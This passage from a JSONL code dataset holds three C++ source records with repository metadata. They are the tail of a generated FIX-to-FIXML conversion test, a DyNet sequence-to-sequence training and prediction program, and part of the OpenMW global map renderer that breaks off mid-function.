set_field(msg, FIX::YieldRedemptionDate{\"LOCALMKTDATE_1355249488\"}, YieldData_32);\n  FIX::YieldRedemptionPrice YieldRedemptionPrice_32;\n  YieldRedemptionPrice_32.setString(\"1917791\");\nset_field(msg, YieldRedemptionPrice_32, YieldData_32);\n  set_field(msg, FIX::YieldRedemptionPriceType{982557996}, YieldData_32);\n  set_field(msg, FIX::YieldType{\"STRING_MARK\"}, YieldData_32);\n  all_values.push_back(YieldData_32);\n  all_compo_names.insert(\".\");\n\n  // header\n  multiset<string> header_96;\n  set_header_field(msg.getHeader(), FIX::ApplVerID{\"STRING_1\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::BeginString{\"STRING_700170253\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::BodyLength{274056030}, header_96);\n  set_header_field(msg.getHeader(), FIX::CstmApplVerID{\"STRING_328573697\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::DeliverToCompID{\"STRING_634933343\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::DeliverToLocationID{\"STRING_965957662\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::DeliverToSubID{\"STRING_1519756336\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::LastMsgSeqNumProcessed{342311404}, header_96);\n  set_header_field(msg.getHeader(), FIX::MessageEncoding{\"STRING_EUC-JP\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::MsgSeqNum{1285585544}, header_96);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfCompID{\"STRING_423226827\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfLocationID{\"STRING_911634024\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfSubID{\"STRING_1627181148\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::OrigSendingTime{FIX::UTCTIMESTAMP(1, 36, 34, 7, 2, 2011)}, header_96);\n  set_header_field(msg.getHeader(), FIX::PossDupFlag{false}, header_96);\n  set_header_field(msg.getHeader(), FIX::PossResend{false}, header_96);\n  set_header_field(msg.getHeader(), FIX::SecureData{\"DATA_996908609\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::SecureDataLen{882370450}, header_96);\n  set_header_field(msg.getHeader(), FIX::SenderCompID{\"STRING_403056957\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::SenderLocationID{\"STRING_1140128185\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::SenderSubID{\"STRING_1099241742\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::SendingTime{FIX::UTCTIMESTAMP(17, 18, 10, 19, 1, 2004)}, header_96);\n  set_header_field(msg.getHeader(), FIX::TargetCompID{\"STRING_800995596\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::TargetLocationID{\"STRING_1269419687\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::TargetSubID{\"STRING_263769294\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::XmlData{\"DATA_173268284\"}, header_96);\n  set_header_field(msg.getHeader(), FIX::XmlDataLen{1611731092}, header_96);\n  all_values.push_back(header_96);\n  all_compo_names.insert(\".header\");\n\n\n  xml_element elt;\n  converter.fix2fixml(msg, elt);\n  BOOST_LOG_TRIVIAL(debug) << \"The resulting XML is\";\n  cout << \"////////////////////////////////////////////\" << endl;\n  cout << elt.to_string() << endl;\n  cout << \"////////////////////////////////////////////\" << endl << endl;\n\n  BOOST_LOG_TRIVIAL(debug) << \"Quickfix XML representation is\";\n  cout << \"////////////////////////////////////////////\" << endl;\n  cout << msg.toXML() << endl;\n  cout << \"////////////////////////////////////////////\" << endl << endl;\n  list<multiset<string>> elt_lists;\n  elt.to_list(elt_lists);\n  EXPECT_EQ(elt_lists.size(), all_values.size());\n\n  if (elt_lists.size() != all_values.size())  {\n    multiset<string> elt_compo_name;\n    elt.all_components(elt_compo_name);\n    BOOST_LOG_TRIVIAL(debug) << \"XML Elements are:\";\n    cout << \"\t[\";\n    copy(elt_compo_name.begin(), elt_compo_name.end(), ostream_iterator<string>(cout, \" \"));    cout << \"]\" << endl;\n\n    BOOST_LOG_TRIVIAL(debug) << \"FIX Components are:\"; \n    cout << \"\t[\";\n    copy(all_compo_names.begin(), all_compo_names.end(), ostream_iterator<string>(cout, \" \"));    cout << \"]\" << endl;\n\n  }\n  BOOST_LOG_TRIVIAL(debug) << \"All FIX components\";\n  for (const auto& l : all_values) {\n    cout << \"\t[\";\n    copy(l.begin(), l.end(), ostream_iterator<string>(cout, \" \"));\n    cout << \"]\" << endl;\n  }\n  BOOST_LOG_TRIVIAL(debug) << \"All XML components\";\n  for (const auto& l : elt_lists) {\n    cout << \"\t[\";\n    copy(l.begin(), l.end(), ostream_iterator<string>(cout, \" \"));\n    cout << \"]\" << endl;\n\n  }\n\n  for (const auto& xml_l : elt_lists) {\n    bool found = false;\n    for (const auto& l : all_values) {\n      if (includes(l.begin(), l.end(), xml_l.begin(), xml_l.end())) {\n        found = true;\n        break;\n      } // end if includes\n    } // end for all_values\n    EXPECT_TRUE(found);\n    if ( ! found) {\n      BOOST_LOG_TRIVIAL(debug) << \"[TO CHECK] This XML component was not found in FIX message\";\n      cout << \"\t ---> [\";\n      copy(xml_l.begin(), xml_l.end(), ostream_iterator<string>(cout, \" \"));      cout << \"]\" << endl << endl;\n    } // end if ! found\n  } // end for elt_lists\n}\n", "meta": {"hexsha": "92219a927f5449f6ca53cb7e39ae88dfac0bac67", "size": 235079, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "tools/generated/fix2xml/test_fix2xml_TradeCaptureReport.cpp", "max_stars_repo_name": "abdelkaderamar/fix2xml", "max_stars_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-09-26T12:08:19.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-26T12:08:19.000Z", "max_issues_repo_path": "tools/generated/fix2xml/test_fix2xml_TradeCaptureReport.cpp", "max_issues_repo_name": "abdelkaderamar/fix2xml", "max_issues_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tools/generated/fix2xml/test_fix2xml_TradeCaptureReport.cpp", "max_forks_repo_name": "abdelkaderamar/fix2xml", "max_forks_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2020-12-11T04:11:44.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-11T04:11:44.000Z", "avg_line_length": 63.1932795699, "max_line_length": 179, "alphanum_fraction": 0.796400359, "num_tokens": 74609, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5467381519846138, "lm_q2_score": 0.26588047309981694, "lm_q1q2_score": 0.14536699851138873}}
{"text": "#include \"dynet/nodes.h\"\n#include \"dynet/dynet.h\"\n#include \"dynet/training.h\"\n#include \"dynet/timing.h\"\n#include \"dynet/rnn.h\"\n#include \"dynet/gru.h\"\n#include \"dynet/lstm.h\"\n#include \"dynet/fast-lstm.h\"\n#include \"dynet/dict.h\"\n#include \"dynet/expr.h\"\n\n#include <sys/stat.h>\n#include <sys/types.h>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <type_traits>\n#include <time.h>\n\n#include <boost/serialization/vector.hpp>\n#include <boost/archive/text_iarchive.hpp>\n#include <boost/archive/text_oarchive.hpp>\n#include <boost/program_options.hpp>\n\n#include \"s2s/encdec.hpp\"\n#include \"s2s/decode.hpp\"\n#include \"s2s/define.hpp\"\n#include \"s2s/comp.hpp\"\n#include \"s2s/metrics.hpp\"\n#include \"s2s/options.hpp\"\n\nnamespace s2s {\n\n    float train_one_batch(const bool is_train, const batch& one_batch, const s2s_options &opts, const float align_w, encoder_decoder* encdec, dynet::Trainer* trainer){\n        auto chrono_start = std::chrono::system_clock::now();\n        unsigned int batch_size = one_batch.src.at(0).at(0).size();\n        dynet::ComputationGraph cg;\n        std::vector<dynet::expr::Expression> errs_att;\n        std::vector<dynet::expr::Expression> errs_out;\n        float loss_att = 0.0;\n        float loss_out = 0.0;\n        std::vector<dynet::expr::Expression> i_enc = encdec->encoder(one_batch, cg);\n        std::vector<dynet::expr::Expression> i_feed = encdec->init_feed(one_batch, cg);\n        for (unsigned int t = 0; t < one_batch.trg.size() - 1; ++t) {\n            dynet::expr::Expression i_att_t = encdec->decoder_attention(cg, one_batch.trg[t], i_feed[t], i_enc[0]);\n            if(opts.guided_alignment == true){\n                for(unsigned int i = 0; i < one_batch.align.at(t).size(); i++){\n                    assert(0 <= one_batch.align.at(t+1).at(i) < one_batch.src.size());\n                }\n                dynet::expr::Expression i_err = pickneglogsoftmax(i_att_t, one_batch.align.at(t+1));\n                errs_att.push_back(i_err);\n            }\n            std::vector<dynet::expr::Expression> i_out_t = encdec->decoder_output(cg, i_att_t, i_enc[1]);\n            i_feed.push_back(i_out_t[1]);\n            dynet::expr::Expression i_err = pickneglogsoftmax(i_out_t[0], one_batch.trg[t+1]);\n            errs_out.push_back(i_err);\n        }\n        dynet::expr::Expression i_nerr_out = sum_batches(sum(errs_out)) / (float)(batch_size);\n        loss_out = as_scalar(cg.forward(i_nerr_out));\n        dynet::expr::Expression i_nerr_all;\n        if(opts.guided_alignment == true){\n            dynet::expr::Expression i_nerr_att = sum_batches(sum(errs_att)) / (float)(batch_size);\n            loss_att = as_scalar(cg.incremental_forward(i_nerr_att));\n            i_nerr_all = i_nerr_out + align_w * i_nerr_att;\n        }else{\n            i_nerr_all = i_nerr_out;\n        }\n        float loss_all = as_scalar(cg.incremental_forward(i_nerr_all));\n        if(is_train == true){\n            cg.backward(i_nerr_all);\n            //cg.print_graphviz();\n            trainer->update();\n        }\n        auto chrono_end = std::chrono::system_clock::now();\n        auto time_used = (double)std::chrono::duration_cast<std::chrono::milliseconds>(chrono_end - chrono_start).count() / (double)1000;\n        std::cerr << \"batch_size: \" << batch_size;\n        std::cerr << \",\\toutput loss: \" << loss_out;\n        std::cerr << \",\\tattention loss: \" << loss_att;\n        std::cerr << \",\\tsource length: \" << one_batch.src.size();\n        std::cerr << \",\\ttarget length: \" << one_batch.trg.size();\n        std::cerr << \",\\ttime: \" << time_used << \" [s]\" << std::endl;\n        std::cerr << \"[epoch=\" << trainer->epoch << \" eta=\" << trainer->eta << \" align_w=\" << align_w << \" clips=\" << trainer->clips_since_status << \" updates=\" << trainer->updates_since_status << \"] \" << std::endl;\n        return loss_out;\n    }\n\n    void train(const s2s_options &opts){\n        s2s::dicts dicts;\n        s2s::parallel_corpus para_corp_train;\n        s2s::parallel_corpus para_corp_dev;\n        dicts.set(opts);\n        para_corp_train.load_src(opts.srcfile, dicts);\n        para_corp_train.load_trg(opts.trgfile, dicts);\n        para_corp_train.load_check();\n        para_corp_dev.load_src(opts.srcvalfile, dicts);\n        para_corp_dev.load_trg(opts.trgvalfile, dicts);\n        para_corp_dev.load_check();\n        if(opts.guided_alignment == true){\n            para_corp_train.load_align(opts.alignfile);\n            para_corp_train.load_check_with_align();\n            para_corp_dev.load_align(opts.alignvalfile);\n            para_corp_dev.load_check_with_align();\n        }\n        // for debug\n        dicts.save(opts);\n        // for debug\n        dynet::Model model;\n        encoder_decoder* encdec = new encoder_decoder(model, &opts);\n        encdec->enable_dropout();\n        dynet::Trainer* trainer = nullptr;\n        if(opts.optim == \"sgd\"){\n            trainer = new dynet::SimpleSGDTrainer(model);\n        }else if(opts.optim == \"momentum_sgd\"){\n            trainer = new dynet::MomentumSGDTrainer(model);\n        }else if(opts.optim == \"adagrad\"){\n            trainer = new dynet::AdagradTrainer(model);\n        }else if(opts.optim == \"adadelta\"){\n            trainer = new dynet::AdadeltaTrainer(model);\n        }else if(opts.optim == \"adam\"){\n            trainer = new dynet::AdamTrainer(model);\n        }else{\n            std::cerr << \"Trainer does not exist !\"<< std::endl;\n            assert(false);\n        }\n        float learning_rate = opts.learning_rate;\n        trainer->eta0 = learning_rate;\n        trainer->eta = learning_rate;\n        trainer->eta_decay = 0.f;\n        trainer->clipping_enabled = opts.clipping_enabled;\n        trainer->clip_threshold = opts.clip_threshold;\n        unsigned int epoch = 0;\n        float align_w = opts.guided_alignment_weight;\n        float prev_loss = FLT_MAX;\n        float current_loss = 0.0;\n        while(epoch < opts.epochs){\n            // train\n            para_corp_train.sort_para_sent(opts.sort_sent_type_train, opts.max_batch_train, opts.src_tok_lim_train, opts.trg_tok_lim_train);\n            para_corp_train.set_para_batch_order(opts.max_batch_train, opts.src_tok_lim_train, opts.trg_tok_lim_train, opts.batch_type_train);\n            para_corp_train.shuffle_batch(opts.shuffle_batch_type_train);\n            batch one_batch;\n            while(para_corp_train.next_batch_para(one_batch, dicts)){\n                one_batch.drop_word(dicts, opts);\n                // train one batch\n                train_one_batch(true, one_batch, opts, align_w, encdec, trainer);\n            }\n            std::cerr << std::endl;\n\n            // dev\n            std::cerr << \"dev\" << std::endl;\n            encdec->disable_dropout();\n            para_corp_dev.sort_para_sent(opts.sort_sent_type_pred, opts.max_batch_pred, opts.src_tok_lim_pred, opts.trg_tok_lim_pred);\n            para_corp_dev.set_para_batch_order(opts.max_batch_pred, opts.src_tok_lim_pred, opts.trg_tok_lim_pred, opts.batch_type_pred);\n            current_loss = 0.0;\n            while(para_corp_dev.next_batch_para(one_batch, dicts)){\n                // train one batch\n                current_loss += train_one_batch(false, one_batch, opts, align_w, encdec, trainer) * (float)(one_batch.src.at(0).at(0).size());\n            }\n            std::cerr << \"current loss: \" << current_loss << \", previous_loss: \" << prev_loss << std::endl;\n            std::cerr << \"dev_decode\" << std::endl;\n            para_corp_train.reset_index();\n            para_corp_dev.reset_index();\n            trainer->update_epoch();\n            trainer->status();\n            std::vector<std::string> str_sents(para_corp_dev.src.size());\n            while(para_corp_dev.next_batch_para(one_batch, dicts)){\n                std::vector<std::vector<unsigned int> > osent;\n                if(opts.decoder_type == \"greedy\"){\n                    s2s::greedy_decode(one_batch, osent, encdec, dicts, opts);\n                }else if(opts.decoder_type == \"greedy_vinyals\"){\n                    s2s::greedy_decode_vinyals(one_batch, osent, encdec, dicts, opts);\n                }else{\n                    std::cerr << \"Decoder does not exist !\"<< std::endl;\n                    assert(false);\n                }\n                std::vector<std::string> str_batch_sents = s2s::print_sents(osent, dicts);\n                for(unsigned int i=0; i < str_batch_sents.size(); i++){\n                    // debug\n                    std::cerr << one_batch.sent_id.at(i) << std::endl;\n                    str_sents[one_batch.sent_id.at(i)] = str_batch_sents.at(i);\n                }\n            }\n            std::string print_body = \"\";\n            for(const std::string str_sent : str_sents){\n                print_body += str_sent;\n                print_body += \"\\n\";\n            }\n            ofstream dev_sents(opts.rootdir + \"/dev_\" + to_string(epoch) + \".txt\");\n            dev_sents << print_body;\n            dev_sents.close();\n            para_corp_dev.reset_index();\n            encdec->enable_dropout();\n            // save Model\n            ofstream model_out(opts.rootdir + \"/\" + opts.save_file + \"_\" + to_string(epoch) + \".model\");\n            boost::archive::text_oarchive model_oa(model_out);\n            model_oa << model << *encdec;\n            model_out.close();\n            // preparation for next epoch\n            epoch++;\n            if(opts.lr_auto_decay == true){\n                if(current_loss > prev_loss){\n                    learning_rate *= opts.lr_decay;\n                }\n            }else{\n                if(epoch >= opts.sgd_start_epoch){\n                    if(epoch > opts.sgd_start_decay){\n                        if((epoch - opts.sgd_start_decay) % opts.sgd_start_decay_for_each == 0){\n                            learning_rate *= opts.sgd_start_lr_decay;\n                        }\n                    }else if(epoch == opts.sgd_start_epoch){\n                        delete(trainer);\n                        trainer = new dynet::SimpleSGDTrainer(model);\n                        learning_rate = opts.sgd_start_learning_rate;\n                        trainer->eta0 = learning_rate;\n                        trainer->eta_decay = 0.f;\n                        trainer->clipping_enabled = opts.clipping_enabled;\n                        trainer->clip_threshold = opts.clip_threshold;\n                        trainer->epoch = epoch;\n                    }\n                }else{\n                    if(epoch >= opts.start_epoch){\n                        if(epoch > opts.start_epoch){\n                            if((epoch - opts.start_epoch) % opts.decay_for_each == 0){\n                                learning_rate *= opts.lr_decay;\n                            }\n                        }else if(epoch == opts.start_epoch){\n                            learning_rate *= opts.lr_decay;\n                        }\n                    }\n                }\n            }\n            trainer->eta = learning_rate;\n            if(opts.guided_alignment == true){\n                if(epoch > opts.guided_alignment_start_epoch){\n                    if((epoch - opts.guided_alignment_start_epoch) % opts.guided_alignment_decay_for_each == 0){\n                        align_w *= opts.guided_alignment_decay;\n                    }\n                }else if(epoch == opts.guided_alignment_start_epoch){\n                    align_w *= opts.guided_alignment_decay;\n                }\n            }\n            prev_loss = current_loss;\n        }\n    }\n\n    void predict(const s2s_options &opts){\n        s2s::dicts dicts;\n        dicts.load(opts);\n        // load model\n        dynet::Model model;\n        encoder_decoder* encdec = new encoder_decoder(model, &opts);\n        //encdec->disable_dropout();\n        ifstream model_in(opts.modelfile);\n        boost::archive::text_iarchive model_ia(model_in);\n        model_ia >> model >> *encdec;\n        model_in.close();\n        // predict\n        s2s::monoling_corpus mono_corp;\n        mono_corp.load_src(opts.srcfile, dicts);\n        batch one_batch;\n        encdec->disable_dropout();\n        mono_corp.sort_mono_sent(opts.sort_sent_type_pred);\n        mono_corp.set_mono_batch_order(opts.max_batch_pred, opts.src_tok_lim_pred, opts.batch_type_pred);\n        std::vector<std::string> str_sents(mono_corp.src.size());\n        while(mono_corp.next_batch_mono(one_batch, dicts)){\n            std::vector<std::vector<unsigned int> > osent;\n            if(opts.decoder_type == \"greedy\"){\n                s2s::greedy_decode(one_batch, osent, encdec, dicts, opts);\n            }else if(opts.decoder_type == \"greedy_vinyals\"){\n                s2s::greedy_decode_vinyals(one_batch, osent, encdec, dicts, opts);\n            }else{\n                std::cerr << \"Decoder does not exist !\"<< std::endl;\n                assert(false);\n            }\n            std::vector<std::string> str_batch_sents = s2s::print_sents(osent, dicts);\n            for(unsigned int i=0; i < str_batch_sents.size(); i++){\n                str_sents[one_batch.sent_id.at(i)] = str_batch_sents.at(i);\n            }\n        }\n        std::string print_body = \"\";\n        for(const std::string str_sent : str_sents){\n            print_body += str_sent;\n            print_body += \"\\n\";\n        }\n        ofstream pred_sents(opts.trgfile);\n        pred_sents << print_body;\n        pred_sents.close();\n    }\n\n};\n\nint main(int argc, char** argv) {\n    namespace po = boost::program_options;\n    po::options_description bpo(\"h\");\n    s2s::s2s_options opts;\n    s2s::set_s2s_options(&bpo, &opts);\n    po::variables_map vm;\n    po::store(po::parse_command_line(argc, argv, bpo), vm);\n    po::notify(vm);\n    if(vm.at(\"mode\").as<std::string>() == \"train\"){\n        s2s::add_s2s_options_train(&vm, &opts);\n        s2s::check_s2s_options_train(&vm, opts);\n        std::string file_name = opts.rootdir + \"/options.txt\";\n        struct stat st;\n        if(stat(opts.rootdir.c_str(), &st) != 0){\n            mkdir(opts.rootdir.c_str(), 0775);\n        }\n        ofstream out(file_name);\n        boost::archive::text_oarchive oa(out);\n        oa << opts;\n        out.close();\n        dynet::initialize(argc, argv);\n        s2s::train(opts);\n    }else if(vm.at(\"mode\").as<std::string>() == \"predict\"){\n        ifstream in(opts.rootdir + \"/options.txt\");\n        boost::archive::text_iarchive ia(in);\n        ia >> opts;\n        in.close();\n        s2s::check_s2s_options_predict(&vm, opts);\n        dynet::initialize(argc, argv);\n        s2s::predict(opts);\n    }else if(vm.at(\"mode\").as<std::string>() == \"test\"){\n\n    }else{\n        std::cerr << \"Mode does not exist !\"<< std::endl;\n        assert(false);\n    }\n}\n", "meta": {"hexsha": "da8f35f2cb673ad5dc1c96261a81834fda0f4688", "size": 14615, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "lib/seq2seq.cpp", "max_stars_repo_name": "kamigaito/seq2seq-baseline-dynet", "max_stars_repo_head_hexsha": "88d51a9819bf572d98f0211ed0ee542ed97b1ec5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7.0, "max_stars_repo_stars_event_min_datetime": "2017-03-13T15:58:55.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-09T10:35:13.000Z", "max_issues_repo_path": "lib/seq2seq.cpp", "max_issues_repo_name": "kamigaito/seq2seq-baseline-dynet", "max_issues_repo_head_hexsha": "88d51a9819bf572d98f0211ed0ee542ed97b1ec5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lib/seq2seq.cpp", "max_forks_repo_name": "kamigaito/seq2seq-baseline-dynet", "max_forks_repo_head_hexsha": "88d51a9819bf572d98f0211ed0ee542ed97b1ec5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.6941896024, "max_line_length": 215, "alphanum_fraction": 0.5716729388, "num_tokens": 3432, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.28140560140262283, "lm_q1q2_score": 0.14509833247920492}}
{"text": "#include \"globalmap.hpp\"\n\n#include <boost/filesystem.hpp>\n#include <boost/lexical_cast.hpp>\n\n#include <OgreImage.h>\n#include <OgreTextureManager.h>\n#include <OgreColourValue.h>\n#include <OgreHardwareVertexBuffer.h>\n#include <OgreRoot.h>\n#include <OgreHardwarePixelBuffer.h>\n\n#include <components/loadinglistener/loadinglistener.hpp>\n\n#include <components/esm/globalmap.hpp>\n\n#include \"../mwbase/environment.hpp\"\n#include \"../mwbase/world.hpp\"\n\n#include \"../mwworld/esmstore.hpp\"\n\nnamespace MWRender\n{\n\n    GlobalMap::GlobalMap(const std::string &cacheDir)\n        : mCacheDir(cacheDir)\n        , mMinX(0), mMaxX(0)\n        , mMinY(0), mMaxY(0)\n        , mWidth(0)\n        , mHeight(0)\n    {\n        mCellSize = Settings::Manager::getInt(\"global map cell size\", \"Map\");\n    }\n\n    GlobalMap::~GlobalMap()\n    {\n        Ogre::TextureManager::getSingleton().remove(mOverlayTexture->getName());\n    }\n\n    void GlobalMap::render (Loading::Listener* loadingListener)\n    {\n        Ogre::TexturePtr tex;\n\n        const MWWorld::ESMStore &esmStore =\n            MWBase::Environment::get().getWorld()->getStore();\n\n        // get the size of the world\n        MWWorld::Store<ESM::Cell>::iterator it = esmStore.get<ESM::Cell>().extBegin();\n        for (; it != esmStore.get<ESM::Cell>().extEnd(); ++it)\n        {\n            if (it->getGridX() < mMinX)\n                mMinX = it->getGridX();\n            if (it->getGridX() > mMaxX)\n                mMaxX = it->getGridX();\n            if (it->getGridY() < mMinY)\n                mMinY = it->getGridY();\n            if (it->getGridY() > mMaxY)\n                mMaxY = it->getGridY();\n        }\n\n        mWidth = mCellSize*(mMaxX-mMinX+1);\n        mHeight = mCellSize*(mMaxY-mMinY+1);\n\n        loadingListener->loadingOn();\n        loadingListener->setLabel(\"Creating map\");\n        loadingListener->setProgressRange((mMaxX-mMinX+1) * (mMaxY-mMinY+1));\n        loadingListener->setProgress(0);\n\n        const Ogre::ColourValue waterShallowColour(0.15, 0.2, 0.19);\n        const Ogre::ColourValue waterDeepColour(0.1, 0.14, 0.13);\n        const Ogre::ColourValue groundColour(0.254, 0.19, 0.13);\n        const Ogre::ColourValue mountainColour(0.05, 0.05, 0.05);\n        const Ogre::ColourValue hillColour(0.16, 0.12, 0.08);\n\n        //if (!boost::filesystem::exists(mCacheDir + \"/GlobalMap.png\"))\n        if (1)\n        {\n            std::vector<Ogre::uchar> data (mWidth * mHeight * 3);\n\n            for (int x = mMinX; x <= mMaxX; ++x)\n            {\n                for (int y = mMinY; y <= mMaxY; ++y)\n                {\n                    ESM::Land* land = esmStore.get<ESM::Land>().search (x,y);\n\n                    if (land)\n                    {\n                        int mask = ESM::Land::DATA_VHGT | ESM::Land::DATA_VNML | ESM::Land::DATA_VCLR | ESM::Land::DATA_VTEX;\n                        if (!land->isDataLoaded(mask))\n                            land->loadData(mask);\n                    }\n\n                    for (int cellY=0; cellY<mCellSize; ++cellY)\n                    {\n                        for (int cellX=0; cellX<mCellSize; ++cellX)\n                        {\n                            int vertexX = float(cellX)/float(mCellSize) * ESM::Land::LAND_SIZE;\n                            int vertexY = float(cellY)/float(mCellSize) * ESM::Land::LAND_SIZE;\n\n\n                            int texelX = (x-mMinX) * mCellSize + cellX;\n                            int texelY = (mHeight-1) - ((y-mMinY) * mCellSize + cellY);\n\n                            unsigned char r,g,b;\n\n                            if (land)\n                            {\n                                const float landHeight = land->mLandData->mHeights[vertexY * ESM::Land::LAND_SIZE + vertexX];\n\n                                if (landHeight >= 0)\n                                {\n                                    const float hillHeight = 2500.f;\n                                    if (landHeight >= hillHeight)\n                                    {\n                                        const float mountainHeight = 15000.f;\n                                        float factor = std::min(1.f, float(landHeight-hillHeight)/mountainHeight);\n                                        r = (hillColour.r * (1-factor) + mountainColour.r * factor) * 255;\n                                        g = (hillColour.g * (1-factor) + mountainColour.g * factor) * 255;\n                                        b = (hillColour.b * (1-factor) + mountainColour.b * factor) * 255;\n                                    }\n                                    else\n                                    {\n                                        float factor = std::min(1.f, float(landHeight)/hillHeight);\n                                        r = (groundColour.r * (1-factor) + hillColour.r * factor) * 255;\n                                        g = (groundColour.g * (1-factor) + hillColour.g * factor) * 255;\n                                        b = (groundColour.b * (1-factor) + hillColour.b * factor) * 255;\n                                    }\n                                }\n                                else\n                                {\n                                    if (landHeight >= -100)\n                                    {\n                                        float factor = std::min(1.f, -1*landHeight/100.f);\n                                        r = (((waterShallowColour+groundColour)/2).r * (1-factor) + waterShallowColour.r * factor) * 255;\n                                        g = (((waterShallowColour+groundColour)/2).g * (1-factor) + waterShallowColour.g * factor) * 255;\n                                        b = (((waterShallowColour+groundColour)/2).b * (1-factor) + waterShallowColour.b * factor) * 255;\n                                    }\n                                    else\n                                    {\n                                        float factor = std::min(1.f, -1*(landHeight-100)/1000.f);\n                                        r = (waterShallowColour.r * (1-factor) + waterDeepColour.r * factor) * 255;\n                                        g = (waterShallowColour.g * (1-factor) + waterDeepColour.g * factor) * 255;\n                                        b = (waterShallowColour.b * (1-factor) + waterDeepColour.b * factor) * 255;\n                                    }\n                                }\n\n                            }\n                            else\n                            {\n                                r = waterDeepColour.r * 255;\n                                g = waterDeepColour.g * 255;\n                                b = waterDeepColour.b * 255;\n                            }\n\n                            data[texelY * mWidth * 3 + texelX * 3] = r;\n                            data[texelY * mWidth * 3 + texelX * 3+1] = g;\n                            data[texelY * mWidth * 3 + texelX * 3+2] = b;\n                        }\n                    }\n                    loadingListener->increaseProgress(1);\n                }\n            }\n\n            Ogre::DataStreamPtr stream(new Ogre::MemoryDataStream(&data[0], data.size()));\n\n            tex = Ogre::TextureManager::getSingleton ().createManual (\"GlobalMap.png\", Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,\n                Ogre::TEX_TYPE_2D, mWidth, mHeight, 0, Ogre::PF_B8G8R8, Ogre::TU_STATIC);\n            tex->loadRawData(stream, mWidth, mHeight, Ogre::PF_B8G8R8);\n        }\n        else\n            tex = Ogre::TextureManager::getSingleton ().getByName (\"GlobalMap.png\");\n\n        tex->load();\n\n        mOverlayTexture = Ogre::TextureManager::getSingleton().createManual(\"GlobalMapOverlay\", Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,\n            Ogre::TEX_TYPE_2D, mWidth, mHeight, 0, Ogre::PF_A8B8G8R8, Ogre::TU_DYNAMIC, this);\n\n        clear();\n\n        loadingListener->loadingOff();\n    }\n\n    void GlobalMap::worldPosToImageSpace(float x, float z, float& imageX, float& imageY)\n    {\n        imageX = float(x / 8192.f - mMinX) / (mMaxX - mMinX + 1);\n\n        imageY = 1.f-float(z / 8192.f - mMinY) / (mMaxY - mMinY + 1);\n    }\n\n    void GlobalMap::cellTopLeftCornerToImageSpace(int x, int y, float& imageX, float& imageY)\n    {\n        imageX = float(x - mMinX) / (mMaxX - mMinX + 1);\n\n        // NB y + 1, because we want the top left corner, not bottom left where the origin of the cell is\n        imageY = 1.f-float(y - mMinY + 1) / (mMaxY - mMinY + 1);\n    }\n\n    void GlobalMap::exploreCell(int cellX, int cellY)\n    {\n        float originX = (cellX - mMinX) * mCellSize;\n        // NB y + 1, because we want the top left corner, not bottom left where the origin of the cell is\n        float originY = mHeight - (cellY+1 - mMinY) * mCellSize;\n\n        if (cellX > mMaxX || cellX < mMinX || cellY > mMaxY || cellY < mMinY)\n            return;\n\n        Ogre::TexturePtr localMapTexture = Ogre::TextureManager::getSingleton().getByName(\"Cell_\"\n            + boost::lexical_cast<std::string>(cellX) + \"_\" + boost::lexical_cast<std::string>(cellY));\n\n        if (!localMapTexture.isNull())\n        {\n            mOverlayTexture->load();\n            mOverlayTexture->getBuffer()->blit(localMapTexture->getBuffer(), Ogre::Image::Box(0,0,512,512),\n                         Ogre::Image::Box(originX,originY,originX+mCellSize,originY+mCellSize));\n\n            Ogre::Image backup;\n            std::vector<Ogre::uchar> data;\n            data.resize(mCellSize*mCellSize*4, 0);\n            backup.loadDynamicImage(&data[0], mCellSize, mCellSize, Ogre::PF_A8B8G8R8);\n\n            localMapTexture->getBuffer()->blitToMemory(Ogre::Image::Box(0,0,512,512), backup.getPixelBox());\n\n            for (int x=0; x<mCellSize; ++x)\n                for (int y=0; y<mCellSize; ++y)\n                {\n                    assert (originX+x < mOverlayImage.getWidth());\n                    assert (originY+y < mOverlayImage.getHeight());\n                    assert (x < int(backup.getWidth()));\n                    assert (y < int(backup.getHeight()));\n                    